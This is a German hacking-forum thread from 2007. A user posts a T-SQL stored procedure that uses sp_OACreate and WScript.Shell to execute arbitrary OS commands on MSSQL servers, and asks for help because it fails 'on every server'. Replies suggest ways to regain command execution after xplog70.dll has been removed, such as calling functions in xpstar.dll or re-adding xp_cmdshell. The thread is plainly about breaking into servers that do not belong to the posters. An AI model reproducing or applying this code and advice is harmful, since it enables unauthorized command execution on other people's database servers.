#1 1. März 2007 Hallihallo, warum auch immer beschäftigte ich mich letzte Zeit mal wieder mit dem uralten Thema "MSSQL". Ich hab im Moment das Problem wie man eigtl. xplog70.dll wiederherstellt ? Und ein weiteres Problem ist dass wenn ich das ganze mit SQLBrowser umgehen will (sowie in einem der Tutorials beschrieben) kommt eigtl. bei jedem Server der Fehler dass : "Syntax error near '@ShellID'" und dann ist Sense.. Kann mir da vllt jemand raushelfen ? Der Code den ich bei SQL Browser einfüge lautet folgendermaßen : Code: CREATE PROCEDURE fn_makeUpdate(@cmd varchar(255), @Wait int = 0) AS --Create WScript.Shell object DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) --If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult EXECUTE @OLEResult = sp_OADestroy @ShellID return @result Hoffe auf sinnvolle Antworten. + Multi-Zitat Zitieren
#2 1. März 2007 AW: Verschiedene MSSQL Fragen Du musst evtl. den SQLBrower maximieren und dann den befehl erneut ausführen... + Multi-Zitat Zitieren
#3 1. März 2007 AW: Verschiedene MSSQL Fragen 1. den browser maximieren damits keine fehler im zeilenumbruch gibt und 2. den code den du da hast, der ist für die cmdshell die du wieder erstellen willst. um die xplog wieder zu erstellen, oder den fehler zu umgehen musst du andere dateien ansprechen. kannst wie bei vielen anderen hacks auch, nicht nur die eine stelle ansprechen sondern noch andere. und bei MSSL läuft das ganze ja über funktionen die in dll's gespeichert sind. die wichtigsten funktionen, womit man fast alles steuern kann befinden sich in der xpstar.dll wenn die gelöscht wurd ist der mssql nur noch schwer zu retten. du musst halt eine syntax finden diese funktionen die in der xpstar.dll vorhanden sind direkt anzusprechen und auszuführen was du willst. dann bekommste auch einige fehler hin + Multi-Zitat Zitieren
#4 1. März 2007 AW: Verschiedene MSSQL Fragen der sql brower hat bei mir noch nie geholfen und ich bezweifle, dass man damit ne chance hat, selbst wenn nur xplog70.dll gelöscht wurde. was aber durchaus funktioniert, ist die shell zu droppen bzw. wieder zu adden. geht aber nur, wenn die .dlls noch vorhanden sind. (erneute verknüpfung xplog70.dll + xp_cmdshell). und allg. zum thema sql error: ich hab bisher noch kein tut gesehen, welcher mir effektiv helfen konnte, diese ominösen .dlls zu restoren. meine meinung: bypass ja, restore nein. + Multi-Zitat Zitieren